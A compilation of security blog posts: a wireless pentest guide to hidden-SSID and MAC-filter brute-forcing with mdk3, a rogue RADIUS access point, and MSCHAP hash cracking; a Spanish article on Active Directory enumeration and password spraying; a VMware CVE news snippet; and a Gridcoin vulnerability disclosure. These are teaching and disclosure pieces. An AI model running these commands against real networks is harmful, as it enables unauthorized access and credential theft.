Wednesday, June 3, 2020

Wireless Scenarios Part 1: EAP-Radius JTR Hashcat, SSID MAC Issues And More

Intro: 
I have been on a number of wireless engagements again lately and much like the wireless blog i wrote over a year ago i am trying various combinations of techniques and tools in conjunction to gain access to networks. I will show a range of tools and techniques mostly as a reminder to myself. The format will be scenario based on what i have been seeing while testing.  Some of these tools include JTR/Hashcat with specialized rulesets, mdk3 for SSID/MAC bruteforcing, evil access points for bypassing guest networks, DNS redirection/tunneling as well as radius-wpe attacks etc... This will be a 2 part blog, first blog being more Pre-Auth attacks and the second blog being more client attacks.



Finding Hidden SSID's and Limited user network attacks:
Recently i have been on a lot of tests where administrators think its a wonderful idea to hide their SSID's. Administrators feel that if they hide their SSID's they are magically secure. While Cloaked SSID's may pose a slight problem it's not a security feature. Especially when hiding WEP encrypted networks. One issue that keeps coming up is hidden networks with NO clients thus no probe request/response traffic available to passively capture an SSID. Without clients you can't de-authenticate and force reconnections requests with SSID's. To top that off administrators are also running another trivial security feature known as MAC filtering. While MAC filtering is also easy to bypass, again there are no clients on the network so we must come up with strategies to figure out both the SSID's and the possible client MAC addresses. Lets start by addressing the SSID issue.
SSID's can generally be seen in the Beacon traffic. However, if MAC cloaking or hidden SSID's are enabled on your access point they are stripped from the beacon traffic. Striping the beacons of SSID's is usually not a problem if there are clients looking to join the network. As the SSID's must be sent in probe traffic to successfully inquire about joining the network, and SSID's are than easily obtained. Thus why tools like kismet can passively discover the correct SSID given a bit of time and a few clients probing for the hidden network. But, what happens if there is no client traffic?
So the actual scenario i was presented with recently was a Cloaked SSID on a limited use network running WEP, which had a MAC filtered client device. This device would attach to the network once a day for a limited amount of time. So the first piece of the puzzle would be figuring out the SSID for later use then tackling the rest of the problem.

We start with a nice little tool called MDK3 which can be used to send out mass SSID requests in either dictionary style or bruteforce in order to determine an SSID. Lets start with the simple syntax then get into some more fine tuned strategies for determining SSID's based on the mind of the sysadmin.

There are 2 modes i have been using, one is dictionary mode and the other bruteforce mode, i would always start with dictionary because its faster. If a dictionary gives no resultes then move to bruteforce techniques. Also have your Airodump-ng/Kismet running during the attack and if the SSID is found it should apear in there as well as your MDK3 results window. You can get your target BSSID value from airodump along with useful information sometimes regarding length of a hidden SSID value which can be used in fine tuning bruteforcing. MDK3 will automatically pick the correct length and then begin bruteforcing based on that length value:

Below is an example of SSID Length Output: 
CH 6 ][ Elapsed: 8 s ][ 2012-03-01 21:08
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:24:A5:6F:2E:D5 -59 5 0 0 5 54 WEP WEP length: 12
00:1A:A1:05:E8:20 -61 2 0 0 3 48 . WEP WEP length: 1
00:24:A5:6F:37:9F -64 2 0 0 5 54 WEP WEP length: 12

You will notice example output above says that one SSID is of length 12 and another is of length 1, these are the SSID perceived length values based on values in the packet capture. Not always accurate because these values are just Null place holder values and not always set accurately. Essentially one SSID packet above has a one null value while the other packet has 12 null values as placeholders. If a length of 1 is present you may have to start at 1 and go through the whole range of brute forcing. If the length is known then you can start and end at 12 in this case shortening the full bruteforce time considerably.

Attack Modes and Info:
Dictionary Mode:
./mdk3 [Interface] p -c 1 -t [BSSID] -f [dictionary] -s 100

Bruteforce mode:
./mdk3 [Interface] p -c 1 -t [BSSID] -b u -s 100

Above Switch mappings are defined as the following:
b = bruteforce also can add a character set b [charset]
s = packet speed
c = channel
f = ssid dictionary file

I first tried a regular dictionary attack of common words:
ficti0n:# mdk3 mon0 p -c 1 -t 00:01:55:B1:A3:A5 -f english.txt
channel set to: 1
SSID Wordlist Mode activated!
Waiting for beacon frame from target...
Sniffer thread started
Found SSID length 1, usually a placeholder, no information about real SSIDs length available.
Trying SSID:
Packets sent: 1 - Speed: 1 packets/sec
Got response from 03:F0:9F:17:08:32, SSID: "Secure_Access"
Last try was: (null)
Trying SSID: beauty
Packets sent: 167 - Speed: 166 packets/sec
Got response from 03:F0:9F:17:08:33, SSID: "Guest_Access"
Last try was: (null)
Trying SSID: bianca
Trying SSID: winnie
Trying SSID: isabella
Trying SSID: sierra
Trying SSID: 00000000
Trying SSID: dancer1
Packets sent: 32507 - Speed: 376 packets/sec
Got response from 00:3B:10:47:33:32, SSID: "wow"

I began with a dictionary against a network address i got from my initial airodump-ng. On my first MDK3 run i found one new access point named "wow" but i didnt find the target AP's SSID. If you look at the above MDK3 output there are 2 other networks with similar formats which may reflect our target networks format. Below you will see a similar format.
  • Guest_Access
  • Secure_Access
Creating a Custom dictionary based on observations:
If the target company has a repeating SSID format we can create our own dictionary file. According to the above output the format is [Word]_Access, we can take advantage of this by creating a new list with python using the company format. Break open your python editor and create a quick script to parse the english dictionary in the proper format for our attack by uppercasing every dictionary word and appending the word "Access".

#--------------------------------------------------------------
#!/usr/bin/python

dictionary = open("rockyou-75.txt", "r")
SSID_List = open("SSID_List.txt", "a")


for word in dictionary:
word = str.capitalize(word) + "Access"
SSID_List.write(word)


SSID_List.close()
dictionary.close()

#----------------------------------------------------------------

I then ran MDK3 again with my modified list. When this was done I then was able to get a response from MDK3 and determine the SSID of the target network, shown below.

Got response from 00:01:55:B1:A3:A5, SSID: "Secret_Access"


Luckily i didn't have to resort to a true bruteforce attack although the format is shown above for completeness. 



MDK3 MAC address Bruteforce:
The next issue is that of determining a valid MAC address on a network without any known clients, this can also be done with MDK3 and bruteforce mode.  I would suggest looking at other client MAC addresses on the guest or corporate networks as a starting point. Then use those vendor startpoints as your bruteforce values. So if for example you know a bit about the company based on other network MAC values you can use this knowledge in your brute forcing with the -f switch. Below is a basic command ouput for bruteforcing MAC address filters.


ficti0n:# mdk3 mon0 f -t

Trying MAC 00:00:22:00:00:00 with 100.0000 ms timeout at 0 MACs per second and 0 retries
Trying MAC 00:00:22:00:00:00 with 100.0000 ms timeout at 0 MACs per second and 1 retries
Packets sent: 2 - Speed: 1 packets/sec

Found a valid MAC adress: 00:00:22:00:00:00
Have a nice day! :)

Mdk3 -fullhelp output:
--------------------------------------------------------------

MAC filter bruteforce mode
This test uses a list of known client MAC Adresses and tries to
authenticate them to the given AP while dynamically changing
its response timeout for best performance. It currently works only
on APs who deny an open authentication request properly
-t
Target BSSID
-m
Set the MAC adress range to use (3 bytes, i.e. 00:12:34)
Without -m, the internal database will be used
-f
Set the MAC adress to begin bruteforcing with
(Note: You can't use -f and -m at the same time)
---------------------------------------------------------------------

I wasn't aware of the above technique at the time of testing but i did give it a try on a local Access Point and found a useable mac address under contrived scenarios. So this was worth noting as I found almost zero mention of it when searching around. Also note that some access points do not properly handle the authentication scenarios in which case the above technique will not work correctly. Usually the user sends an auth request and then the AP sends an auth response denoting success or failure along with an error code, but MAC filering is not part of the normal standard so results will vary regarding error codes. This is AP functionality independent. When it does work it gives you a little smily face and says it found a useable MAC address [SHOWN ABOVE] . Unfortunately in my penetration test I was stuck waiting for a client to come online to get a useable MAC address. Below are a few ideas for the rest of the scenario.


Depending on the location and use of the limited connectivity device there are a few options available for retrieving the WEP key. Networks with hidden SSID's have clients who are always probing for hidden networks whether onsite or remote. You could attack a client directly via a Cafe Latte attack. A Caffe Latte attack woud attack a client with a fake access point and gratuitas ARP requests to discover the WEP key of "Secret_Access" by flooding the client with ARP requests it responds to, generating enough traffic to derive the WEP key. This technique is useful now that you know the SSID, especially if the device is being used at the local coffee shop. I will take a look at this attack in the next blog when focusing on client based attacks.

Caffe Latte was not a good option for me because the device appears online for a short period of time and might not be available either offsite at a coffee shop or even locally long enough to generate enough traffic to crack the network. In this test I however didn't have enough time to see client actually get online but had I see the client get online I would have noted his MAC address and then configured a chop chop or fragmentation attack against the network whether the client was available or not all i would really need is one data packet. I will not illustrate this whole technique as it is fully covered in the following link Cracking WEP with no Clients.


Cracking Radius /PEAP/TTLS Hashes: (Post EAP Attack)
This is about attacking hashes from WPE Radius attacks, but just as a reference before we start here is a quick radius attack setup guide without going into to much detail.


Steps to Setup WPE attack
  1. Install the following freeradius server and WPE patch. http://blog.opensecurityresearch.com/2011/09/freeradius-wpe-updated.html
  2. Start your WPE server by typing 'radiusd'
  3. Tail your log file so you can see incoming credentials 'tail -f /usr/local/var/log/radius/freeradius-server-wpe.log
  4. Setup an access point with similar settings as to what you are seeing in airodump or wireshark essentially this will be a WPA Enterprise with AES and a default secret of 'test' which is set in the WPE installed package by default so it can talk between the AP and the radius server. You will also need to run an ifconfig on your radius server box so you know what address to point the AP too.
  5. Optionally you can use hostAP instead of a physical enterprise AP setup.

Use one of your local computers to connect to the FreeRadius wireless network and type in a fake username/password to grab an example hash. If you dont see your hash output in the logfile then double check all your ip addresses and insure your server is running. In a real attack you would wait for clients to attach to your Access point and the credentials will be forwarded to your FreeRadius-WPE server. Once this is done the fun begins and also where we will start in our attack scenario.

Formatting hashes:
Your hashes can come in a few formats, they might come back as PAP responses in which case they will be plain text passwords. Plaintext PAP can sometimes be a result of mobile devices sending paswords. Otherwise your attack will result in MSChap password challenge/response hashes. Once you receive your MSChap hashes they have to be formated in a specific way in order to crack them. Here is an example hash and the proper format to use before trying to crack the hashes.

Example Hash:
mschap: Mon Feb 05 19:35:59 2012
username: test
challenge: b3:f8:48:e9:db:02:22:83
response: 15:36:d7:e9:da:43:1f:5f:d2:4b:51:53:87:89:63:b7:12:26:7c:a8:f7:ea:9c:26

Formated for john:(username::::response:challenge)
test::::1536d7e9da431f5fd24b5153878963b712267ca8f7ea9c26:b3f848e9db022283

Tool to automate this: (Tool Link)
One of my friends wrote a python script that will take your freeradius-server-wpe.log as input and format out all of the hashes one per line.. The script output can be fed directly into John The Ripper(JTR).

JTR Cracking and Custom Rulesets:
One way to crack these hashes is to use JTR with a bunch of dictionary attacks and if that fails procede from there with custom korelogic rulesets. Check out preceding link for more info on password cracking techniques which can be employed in addition to this blog. Below I will reiterate a few points on setting up JTR with custom rulesets from the Defcon challenge in 2010 based on the previous link and then how to parse them out and use them.

The first thing to note is that the format of the hashes you get from WPE will generally be considered NETNTLM within JTR so we will have to specify that as well as the wordlists we would like to use to start.

Dictionary attacking first:
First go into your JTR directory and try to crack with some dictionaries of your choosing:
ficti0n:# cd Desktop/Tools\ /john/run
ficti0n:# ./john --wordlist=wordlists/wpa.txt --format=NETNTLM JohnFormat.txt

Loaded 1 password hash (NTLMv1 C/R MD4 DES [netntlm])
test             (test)
guesses: 1  time: 0:00:00:00 100.00% (ETA: Tue Mar 20 19:29:31 2012)  c/s: 692441  trying: test

Custom Rules: korelogic rulesets (Link)
If the cracking fails on all of your wordlists then try installing custom rulesets with the following sequence of commands meant do download and then append the rules to the current john file. The following command can also be found at the above Korelogic link.
ficti0n:# wget http://contest-2010.korelogic.com/rules.txt
ficti0n:# cat rules.txt >> john.conf


Once this is done you can directly specify any rule in the file similar to the following:
ficti0n:# ./john --wordlist=wordlists/english.txt --format=NETNTLM --rules:KoreLogicRulesAppendNum_AddSpecialEverywhere johnFormat.txt


Or if you are time independent just let them all rip and go on vacation and check the results when you get back LOL
ficti0n:# for ruleset in `grep KoreLogicRules john.conf | cut -d: -f 2 | cut -d\] -f 1`; do ./john --wordlist=wordlists/english.txt --format=NETNTLM --rules:${ruleset} JohnFormat.txt; done


Hashcat rulesets and building pasword files:
Another way to build complex password files is to use tools like HashCat with supplied password rules and pipe it out to STDOut, either into a file or the STDIn of other cracking programs like John the Ripper. There is a rules folder in HashCat which has a number of rules provided by default.


Available Hashcat Rules:
ficti0n:# ls
best64.rule      generated.rule   passwordspro.rule  T0XlC.rule     toggles3.rule
combinator.rule  leetspeak.rule   perfect.rule       toggles1.rule  toggles4.rule
d3ad0ne.rule     oscommerce.rule  specific.rule      toggles2.rule  toggles5.rule

Creating Passwords with Hashcat and a dictionary:
ficti0n:# ./hashcat-cli32.bin -r rules/passwordspro.rule ../wordlists/cain.txt --stdout

You can also pipe passwords directly into JTR from hashcat output but its really slow so I suggest you make a world list then load it up with --wordlist, but the example is shown below.

Piping Hashcat password rules into JTR: (really slow)
ficti0n:# ./hashcat-cli32.bin -r rules/passwordspro.rule ../wordlists/rockyou-75.txt --stdout |/pentest/passwords/john/john --format=NETNTLM JohnFormat.txt --stdin


I hope someone finds my above notes useful, I am going to write up some client side attack stuff as well and post it up here... Let me know if you have any questions or need more clarification on anything covered in the blogs. 

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Cómo Enumerar Información Del Active Directory Sin Dejar "Huella" En El Logging De Un CMD

En muchas ocasiones no le dedicamos el tiempo adecuado a la enumeración de objetos, usuarios, características, propiedades, etcétera. Esto es algo importante en un ejercicio de Red Team o en un proyecto de Ethical Hacking. La posibilidad de interactuar a través de RPC con el dominio es siempre interesante, para ello haremos uso de una herramienta llamada rpcclient y que disponemos en Kali Linux.

Figura 1; Cómo enumerar información del Active Directory
sin dejar "huella" en el logging de un CMD 

En el artículo de hoy vamos a suponer un par de casos: el primero es un caso en el que la configuración de  seguridad de Windows Server 2016 no autentica las llamadas RPC, por lo que nos podemos conectar al servidor y empezar a trabajar. Esto puede ocurrir y es una cosa a validar en un Ethical Hacking, sin lugar a la duda.  

Figura 2: Libro Windows Server 2016:
Administración, Seguridad y Operaciones de
Ángel A. Nuñez en 0xWord

¿Cómo verifico esto? Es fácil, utilizando la siguiente instrucción: rpcclient -U "" -N [dirección IP]. El parámetro -U indica el usuario con el que vamos autenticar, en este caso ninguno. El parámetro -N indica que la autenticación es nula. El segundo caso, es compatible con el primero, y es disponer de la autenticación de un usuario y podernos conectarnos por RPC. Esto nos puede permitir hacer consultas y hacer un bypass del registro de acciones de un CMD o una Powershell. Esto es interesante. 

Windows Server 2016

¿Dónde se puede ver los valores y las configuraciones? Se pueden visualizar en las políticas del dominio a través del mmc.exe:

- Computer Configuration \ Administrative Templaes \ System \ Remote Procedure Call. 
- Aquí encontramos dos políticas interesantes: Restrictions for unauthenticated RPC clients y RPC endpoint mapper client authentication.

En el registro de Windows también se puede consultar en qué estado se encuentran estas políticas:

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Rpc. 

Aquí se puede encontrar, si existe la clave, los valores:

- RestrictRemoteClients
 
- EnableAuthEpResolution

Comprobando que se permiten los clientes no autenticados. Escenario 1

En algunas ocasiones, por compatibilidades, aplicaciones propias que hacen uso de esta tecnología o por cualquier otra razón, se configura de forma insegura un servidor. No es algo crítico el hecho de tener esto activo sin autenticación, pero no es recomendado. Cuando un pentester puede conectarse al Domain Controller o DC para hacer uso de las RPC y puede lanzar consultas, la enumeración está servida.

Figura 3: Pentesting con Powershell 2ª Edición

Una vez conectados con rpcclient podemos hacer uso de un comando denominado "enumdomusers" con el que podemos listar los usuarios de dominio. El comando nos devuelve el nombre de usuario y el RID. Hay que fijarse en el usuario con el RID 0x1f4 o, lo que es lo mismo, el ID 500. Ese usuario es el administrador. El RID de usuarios de dominio como "pablo", "alvaro" o "fran" se puede ver también con este comando.

Figura 4: enumdomusers

Con el comando queryuser podemos pedir información del usuario, tal y como haríamos en un CMD con net user, por ejemplo. Lo interesante es el registro de acciones que evitamos con el uso de este tipo de cliente.

Figura 5: queryuser "pablo"

Otro ejemplo del comando queryuser es hacer la consulta a través del RID. Esto puede ser útil cuando accedemos a un AD donde hay una gran cantidad de usuarios y queremos buscar alguno en concreto, por ejemplo, el administrador siempre tiene el mismo RID. La información que devuelve este comando es muy amplia, así como interesante.

Figura 6: queryuser al "administrador" con el ID 500

Ahora vamos a pedir información de todos los usuarios o todas las cuentas, fijándonos en el campo "description". Si nos fijamos en la cuenta de "Álvaro", vemos un texto que pone "123abc. Pass default changeme!". El típico comentario que puede poner un administrador al crear la cuenta. Parece una contraseña por defecto. El comando ejecutado para obtener toda esta información es "querydispinfo".

Figura 7: querydispinfo

Si recordamos recientemente hemos hecho un artículo sobre Crackmapexec, una herramienta que permite, entre otras cosas, poder ir probando credenciales a través de SMB y ver cuál hace login. Además, permitía hacer uso del hash y no de la credencial.

Figura 8: Libro de Hacking Windows

En este caso, tenemos la credencial en plano o potencialmente, una de ellas. Vamos a probar a ver qué ocurre sobre el usuario que se ha encontrado. Vemos que no hay acceso correcto, por lo que el usuario "Álvaro" hizo bien su trabajo y cambio la credencial al utilizar la cuenta por primera vez.

Figura 9: CME SMB

También recientemente, hemos hablado de la técnica Password Spraying, la cual viene perfecta en un entorno como el AD. ¿Por qué es perfecta? Si tenemos la idea de que alguien en el dominio tiene una credencial podemos buscarle gracias a la enumeración de usuarios y al uso de una credencial contra todas las cuentas. La herramienta crackmapexec nos permitirá hacerlo de forma sencilla. Para el ejemplo, podemos hacerlo manual, pero si hubiera un número notable de usuarios los meteríamos en un fichero, un usuario por línea, y utilizaríamos el nombre del fichero en el parámetro -u.

Figura 10: CMB SMB probando password

Aquí vemos que hemos encontrado la cuenta de un usuario llamado "pablo" que tiene la credencial activa. Este usuario no cambió la credencial por defecto y ha sido "cazado". De ahí a tener una shell ya hay un paso muy pequeño, pero eso será en otro artículo.

Cuando RPC va autenticado. Escenario 2

En este pequeño escenario, la diferencia está en cómo accedemos al AD. En el caso anterior, se podía con autenticación nula, pero en este caso, la idea es que se ha conseguido la credencial de una forma previa al poder hacer uso de la herramienta rpcclient

Figura 11: enumprivs

Tras conectar e introducir la credencial correcta, conectamos de igual manera contra el AD. Para poner un ejemplo de los privilegios que tiene el usuario con el que hemos conectado, se puede hacer uso del comando enumprivs, tal y como se muestra en la imagen.

Más herramientas para el pentester

Una herramienta que no genera mucho ruido y que permite realizar consultas contra el AD de forma "discreta". Si crees que pueden estar registrando las acciones que se hacen sobre una CMD o sobre una Powershell como, por ejemplo, con Powershell Transcription, puedes utilizar este tipo de enumeración a través de las RPC

Saludos,

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root",  "Pentesting con Powershell" y de "Empire: Hacking Avanzado en el Red Team", Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDCO de Telefónica.  Para consultas puedes usar el Buzón Público para contactar con Pablo González

Figura 12: Contactar con Pablo González

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Critical VMware Cloud Director Flaw Lets Hackers Take Over Corporate Servers

Cybersecurity researchers today disclosed details for a new vulnerability in VMware's Cloud Director platform that could potentially allow an attacker to gain access to sensitive information and control private clouds within an entire infrastructure. Tracked as CVE-2020-3956, the code injection flaw stems from an improper input handling that could be abused by an authenticated attacker to

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Tuesday, June 2, 2020

Gridcoin - The Good

In this post we will take an in depth look at the cryptocurrency Gridcoin, we show how we found two critical design vulnerabilities and how we fixed them.

In the last past years we saw many scientific publications about cryptocurrencies. Some focused on theoretical parts [Source] and some on practical attacks against specific well-known cryptocurrencies, like Bitcoin [Source]. But in general there is a lack of practical research against alternative coins. Or did you know that there are currently over 830 currencies listed online? So we asked ourselves how secure are these currencies, and if they are not just re-branded forks of the Bitcoin source code?

Background

Gridcoin is an Altcoin, which is in active development since 2013. It claims to provide a high sustainability, as it has very low energy requirements in comparison to Bitcoin. It rewards users for contributing computation power to scientific projects, published on the BOINC project platform. Although Gridcoin is not as widespread as Bitcoin, its draft is very appealing as it attempts to eliminate Bitcoin's core problems. It possesses a market capitalization of $13,719,142 (2017/08/10).

Berkeley Open Infrastructure for Network Computing

To solve general scientific meaningful problems, Gridcoin draws on the well-known Berkeley Open Infrastructure for Network Computing (BOINC). It is a software platform for volunteer computing, initially released in 2002 and developed by the University of California, Berkeley. It is an open source software licensed under the GNU Lesser General Public License. The platform enables professionals in need for computation power to distribute their tasks to volunteers. Nowadays it is widely used by researchers with limited resources to solve scientific problems, for example, healing cancer, investigate global warming, finding extraterrestrial intelligence in radio signals and finding larger prime numbers.
When launching a BOINC project, its maintainer is required to set up his own BOINC server. Project volunteers may then create accounts (by submitting a username, a password and an email address) and work on specific project tasks, called workunits. The volunteers can process the project tasks and transfer their solutions with a BOINC client.

BOINC architecture

BOINC uses a client-server architecture to achieve its rich feature set. The server component handles the client requests for workunits and the problem solutions uploaded by the clients. The solutions are validated and assimilated by the server component. All workunits are created by the server component and each workunit represents a chunk of a scientific problem which is encapsulated into an application. This application consists of one or multiple in-/output files, containing binary or ASCII encoded parameters.

BOINC terminology

  • iCPID
    • The BOINC project server creates the internal Cross Project Identifier (iCPID) as a 16 byte long random value during account creation. This value is stored by the client and server. From this time on, the iCPID is included in every request and response between client and server
  • eCPID
    • The external Cross Project Identifier (eCPID) serves the purpose of identifying a volunteer across different BOINC projects without revealing the corresponding email address. It is computed by applying the cryptographic hash function MD5 to (iCPID,email) and thus has a length of 16 byte [Source].
eCPID = MD5(iCPID||email)
  • Credits
    • BOINC credits are generated whenever a host submits a solution to an assigned task. They are measured in Cobblestone, whereas one Cobblestone is equivalent to 1/200 of CPU time on a reference machine with 1,000 mega floating point operation per seconds [Source]
  • Total Credit
    • Total number of Cubblestones a user invested with his machines for scientific computations
  • Recent Average Credit (RAC)
    • RAC is defined as the average number of Cobblestones per day generated recently [Source]. If an entire week passes, the value is divided by two. Thus old credits are weakly weighted. It is recalculated whenever a host generates credit [Source].

Gridcoin

As a fork of Litecoin, Gridcoin-Research is a blockchain based cryptocurrency and shares many concepts with Bitcoin. While Bitcoin's transaction data structure and concept is used in an unmodified version, Gridcoin-Research utilizes a slightly modified block structure. A Gridcoin-Research block encapsulates a header and body. The header contains needed meta information and the body encloses transactions. Due to the hashPrevBlockHeader field, which contains the hash of the previous block-header, the blocks are linked and form the distributed ledger, the blockchain. Blocks in the blockchain are created by so called minters. Each block stores a list of recent transactions in its body and further metadata in its header. To ensure that all transactions are confirmed in a decisive order, each block-header field contains a reference to the previous one. To regulate the rate in which new blocks are appended to the blockchain and to reward BOINC contribution, Gridcoin-Research implements another concept called Proof-of-Research. Proof-of-Research is a combination of a new overhauled Proof-of-BOINC concept, which was originally designed for Gridcoin-Classic and the improved Proof-of-Stake concept, inspired by alternative cryptocurrencies.

Fig. 1: Gridcoin block structure

Gridcoin terminology

In order to understand the attacks we need to introduce some Gridcoin specific terms.
  • eCPID
    • Identifier value from BOINC used in Gridcoin to identify the researcher.
  • CPIDv2
    • contains a checksum to prove that the minter is the owner of the used eCPID. We fully describe the content of this field in the last attack section.
  • GRCAddress
    • contains the payment address of the minter.
  • ResearchAge
    • is defined as the time span between the creation time of the last Proof-of-Research generated block with the user's eCPID and the time stamp of the last block in the chain measured in days.
  • RSAWeight
    • estimates the user's Gridcoin gain for the next two weeks, based on the BOINC contribution of the past two weeks.

Proof-of-Stake

Proof-of-Stake is a Proof-of-Work replacement, which was first utilized by the cryptocurrency Peercoin in 2012. This alternative concept was developed to showcase a working Bitcoin related currency with low power consumption. Therefore, the block generation process has been overhauled. To create a new valid block for the Gridcoin blockchain the following inequality have to be satisfied:

SHA256(SHA256(kernel)) < Target * UTXO Value + RSAWeight

The kernel value represents the concatenation of the parameters listed in Table 2. The referenced unspent transaction output (UTXO) must be at least 16 hours old. The so called RSAWeight is an input value to the kernel computation, it's indicates the average BOINC work, done by a Gridcoin minter.
In direct comparison to Bitcoin's Proof-of-Work concept, it is notable that the hash of the previous block-header is not part of the kernel. Consequently, it is theoretically possible to create a block at any previous point in time in the past. To prevent this, Gridcoin-Research creates fixed interval checkpoint blocks. Once a checkpoint block is synchronized with the network, blocks with older time stamps became invalid. Considering the nature of the used kernel fields, a client with only one UTXO is able to perform a hash calculation each time nTime is updated. This occurs every second, as nTime is a UNIX time stamp. To be able to change the txPrev fields and thereby increase his hash rate, he needs to gain more UTXO by purchasing coins. Note that high UTXO and RSAWeight values mitigate the difficulty of the cryptographic puzzle, which increase the chance of finding a valid kernel. RSAWeight was explained above. Once a sufficient kernel has been found, the referenced UTXO is spent in a transaction to the creator of the block and included in the generated block. This consumes the old UTXO and generates a new one with the age of zero.

The Gridcoin-Research concept does not require much electrical power, because the maximum hash rate of an entity is limited by its owned amount of UTXOs with suitable age.

Proof-of-Research

Minters relying solely on the Proof-of-Stake rewards are called Investors. In addition to Proof-of-Stake, Gridcoin gives minters a possibility to increase their income with Proof-of-Research rewards. The Proof-of-Research concept implemented in Gridcoin-Research allows the minters to highly increase their block reward by utilizing their BOINC Credits. In this case the minter is called a Researcher.
To reward BOINC contribution, relevant BOINC data needs to be stored in each minted block. Therefore, the software uses the BOINCHash data structure, which is encapsulated in the first transaction of each block. The structure encloses the fields listed in Table 6. The minting and verification process is shown in Figure 2 and works as follows:
  1. A minter (Researcher) participates in a BOINC project A and performs computational work for it. In return the project server increases the users Total Credit value on the server. The server therefore stores the minter's email address, iCPID, eCPID and RAC.
  2. Statistical websites contact project server and down-load the statistics for all users from the project server (A).
  3. After the user earns credits, his RAC increases. Consequently, this eases the finding of a solution for the Proof-of-Stake cryptographic puzzle, and the user can create (mint) a block and broadcast it to the Gridcoin network.
  4. Another minter (Investor or Researcher) will receive the block and validate it. Therefore, he extracts the values from the BOINCHash data structure inside the block.
  5. The minter uses the eCPID from the BOINCHash to request the RAC and other needed values from a statistical website and compares them to the data extracted from the BOINCHash structure, in the event that they are equal and the block solves the cryptographic puzzle, the block is accepted.

 Fig. 2: Gridcoin architecture and minting process

Reward calculation

The total reward for a solved block is called the Subsidy and is computed as the sum of the Proof-of-Research and the Proof-of-Stake reward.
If a minter operates as an Investor (without BOINC contribution), the eCPID is set to the string Investor and all other fields of the BOINCHash are zeroed. An Investor receives only a relatively small Proof-of-Stake reward.
Because the Proof-of-Research reward is much higher than its Proof-of-Stake counterpart, contributing to BOINC projects is more worth the effort.

Statistic Website

At the beginning of the blog post, the core concept behind BOINC was described. One functionality is the creation of BOINC Credits for users, who perform computational work for the project server. This increases the competition between BOINC users and therefore has a positive effect on the amount of computational work users commit. Different websites 4 collect credit information of BOINC users from known project servers and present them online. The Gridcoin client compares the RAC and total credit values stored in a new minted block with the values stored on cpid.gridcoin.us:5000/get_user.php?cpid=eCPID where eCPID is the actual value of the researcher. If there are differences, the client declines the block. In short, statistical websites are used as control instance for Gridcoin. It is obvious that gridcoin.us administrators are able to modify values of any user. Thus, they are able to manipulate the amount of Gridcoins a minter gets for his computational work. This is crucial for the trust level and undermines the general decentralized structure of a cryptocurrency.

Project Servers

Gridcoin utilizes BOINC projects to outsource meaningful computation tasks from the currency. For many known meaningful problems there exist project servers 5 that validate solutions submitted by users, 6 and decide how many credits the users receive for their solutions. Therefore, the project servers can indirectly control the amount of Gridcoins a minter gets for his minted block via the total credit value. As a result, a Gridcoin user also needs to trust the project administrators. This is very critical since there is no transparency in the credit system of project server. If you want to know why decentralization is not yet an option, see our paper from WOOT'17.

Attacks

In addition to the trust a Gridcoin user needs to put into the project server and statistic website administrators, Gridcoin suffers from serious flaws which allows the revelation of minter identities or even stealing coins. Our attacks do not rely on the Gridcoin trust issues and the attacker does not need to be in possession of specific server administrative rights. We assume the following two simple attackers with limited capability sets. The first one, is the blockchain grabber which can download the Gridcoin blockchain from an Internet resource and runs a program on the downloaded data. The second one, the Gridcoin attacker, acts as a normal Gridcoin user, but uses a modified Gridcoin client version, in order to run our attacks.

Interestingly, the developer of Gridcoin tried to make the source code analysis somewhat harder, by obfuscating the source code of relevant functions.
 Fig. 3: Obfuscated source code in Gridcoin [Source]

Grab Gridcoin user email addresses

In order to protect the email addresses of Gridcoin Researchers, neither BOINC project websites nor statistical websites directly include these privacy critical data. The statistical websites only include eCPID entries, which are used to reward Gridcoin Researchers. However, the email addresses are hidden inside the computation of the BOINCHash (cf. Table 1). A BOINCHash is created every time a Researcher mints a new block and includes a CPIDv2 value. The CPIDv2 value contains an obfuscated email address with iCPID and a hash over the previous blockchain block.
By collecting the blockchain data and reversing the obfuscation function (cf. Figure 4 and Figure 7), the attacker gets all email addresses and iCPIDs ever used by Gridcoin Researchers. See the reversed obfuscation function in Figure 4 and Figure 5.

Evaluation

We implemented a deobfuscation function (cf. Figure 7) and executed it on the blockchain. This way, we were able to retrieve all (2709) BOINC email addresses and iCPIDs used by Gridcoin Researchers. This is a serious privacy issue and we address it with our fix (cf. The Fix).

Steal Gridcoin users BOINC reward

The previous attack through deobfuscation allows us to retrieve iCPID values and email addresses. Thus, we have all values needed to create a new legitimate eCPID. This is required because the CPIDv2 contains the last block hash and requires a re-computation for every new block it should be used in. We use this fact in the following attack and show how to steal the computational work from another legitimate Gridcoin Researcher by mining a new Gridcoin block with forged BOINC information. Throughout this last part of the post, we assume the Gridcoin Minter attacker model where the attacker has a valid Gridcoin account and can create new blocks. However, the attacker does not perform any BOINC work.

 Tab. 1: BOINCHash structure as stored and used in the Gridcoin blockchain.
As stated at the beginning of the blog post, the pre-image of the eCPID is stored obfuscated in every Gridcoin block, which contains a Proof-of-Research reward. We gathered one pre-image from the minted blocks of our victim and deobfuscated it. Thus, we know the values of the iCPID, and the email address of our victim. Subsequently, use the hash of the last block created by the network and use these three values to create a valid CPIDv2. Afterwards we constructed a new block. In the block we also store the current BOINC values of our victim, which we can gather from the statistics websites. The final block is afterwards sent into the Gridcoin network. In case all values are computed correctly by the attacker, the network will accept the block, and resulting in a higher reward for the attacker, consisting of Proof-of-Stake and Proof-of-Research reward.



 Fig. 4: Obfuscation function  Fig. 5: Deobfuscation function

Evaluation

In order to verify our attacks practically, we created two virtual machines (R and A), both running Ubuntu 14.04.3 LTS. The virtual machine R contained a legitimate BOINC and Gridcoin instance. It represented the setup of a normal Gridcoin Researcher. The second machine A contained a modified Gridcoin-Research client 3.5.6.8 version, which tried to steal the Proof-of-Research reward of virtual machine R. Thus, we did not steal reward of other legitimate users. The victim BOINC client was attached to the SETI@home project 11 with the eCPID 9f502770e61fc03d23d8e51adf7c6291.
The victim and the attacker were in possession of Gridcoins, enabling them to stake currency and to create new blocks.
 Fig. 6: CPIDv2 calculation deobfuscated

Initially both Gridcoin-Research clients retrieved the blockchain from other Gridcoin nodes in the Gridcoin network.
